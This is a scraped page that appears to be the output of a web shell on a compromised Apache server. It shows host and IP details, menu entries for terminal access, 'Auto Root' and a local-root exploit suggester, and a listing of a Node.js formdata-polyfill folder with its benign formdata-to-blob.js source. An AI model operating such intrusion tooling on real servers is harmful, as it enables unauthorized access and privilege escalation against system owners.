Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
formdata-polyfill /
Delete
Unzip
Name
Size
Permission
Date
Action
FormData.js
11.6
KB
-rw-r--r--
2023-12-22 10:39
esm.min.d.ts
166
B
-rw-r--r--
2023-12-22 10:39
esm.min.js
2.32
KB
-rw-r--r--
2023-12-22 10:39
formdata-to-blob.js
1.27
KB
-rw-r--r--
2023-12-22 10:39
formdata.min.js
5.65
KB
-rw-r--r--
2023-12-22 10:39
package.json
1.23
KB
-rw-r--r--
2023-12-22 10:39
pkgjs-lock.json
458
B
-rw-r--r--
2023-12-22 10:39
Save
Rename
/*! formdata-polyfill. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */ const escape = (str, filename) => (filename ? str : str.replace(/\r?\n|\r/g, '\r\n')) .replace(/\n/g, '%0A') .replace(/\r/g, '%0D') .replace(/"/g, '%22') /** * pure function to convert any formData instance to a Blob * instances synchronous without reading all of the files * * @param {FormData|*} formData an instance of a formData Class * @param {Blob|*} [BlobClass=Blob] the Blob class to use when constructing it */ export function formDataToBlob (formData, BlobClass = Blob) { const boundary = ('----formdata-polyfill-' + Math.random()) const chunks = [] const prefix = `--${boundary}\r\nContent-Disposition: form-data; name="` for (let [name, value] of formData) { if (typeof value === 'string') { chunks.push(prefix + escape(name) + `"\r\n\r\n${value.replace(/\r(?!\n)|(?<!\r)\n/g, '\r\n')}\r\n`) } else { chunks.push( prefix + escape(name) + `"; filename="${escape(value.name, 1)}"\r\n` + `Content-Type: ${value.type || 'application/octet-stream'}\r\n\r\n`, value, '\r\n' ) } } chunks.push(`--${boundary}--`) return new BlobClass(chunks, { type: 'multipart/form-data; boundary=' + boundary }) }